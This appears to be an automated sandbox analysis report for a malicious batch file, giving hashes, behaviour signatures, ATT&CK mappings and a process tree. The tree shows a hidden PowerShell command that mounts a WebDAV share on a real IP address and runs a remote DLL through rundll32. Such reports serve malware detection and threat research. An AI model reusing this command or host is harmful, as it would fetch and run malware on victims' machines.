8b5dac8b8a5efb3de341a3074a778d5d7b379be6bae0751271f3f6d57ff3926b

Analysis

max time kernel
106s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 20:03

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General

Target

15523151082588731110.bat
Size

2KB
MD5

6f35fa6988c806eca6cad48bc5fdc029
SHA1

d6dbf5eedffe9674515db0ae8ddf8dfc40e7facb
SHA256

8b5dac8b8a5efb3de341a3074a778d5d7b379be6bae0751271f3f6d57ff3926b
SHA512

a85508eb5eb7c564d81996beac340bb286af8ef0e96d01400903ae5862165df5d0c65a738b1313199a4349b14d6023180dad188aae22ce12d4df7f9c8100fec0

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3836	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3836	powershell.exe
3836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3836	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2936	wordpad.exe
2936	wordpad.exe
2936	wordpad.exe
2936	wordpad.exe
2936	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4044 wrote to memory of 2936	4044	cmd.exe	85
PID 4044 wrote to memory of 2936	4044	cmd.exe	85
PID 4044 wrote to memory of 3836	4044	cmd.exe	87
PID 4044 wrote to memory of 3836	4044	cmd.exe	87
PID 3836 wrote to memory of 1952	3836	powershell.exe	89
PID 3836 wrote to memory of 1952	3836	powershell.exe	89
PID 3836 wrote to memory of 2876	3836	powershell.exe	90
PID 3836 wrote to memory of 2876	3836	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\15523151082588731110.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4044
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2993.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3836
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:1952
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2993.dll,entry
    3⤵
    PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1wj3l1e.c1q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3836-9-0x000001A5FCC40000-0x000001A5FCC62000-memory.dmp

Filesize
136KB

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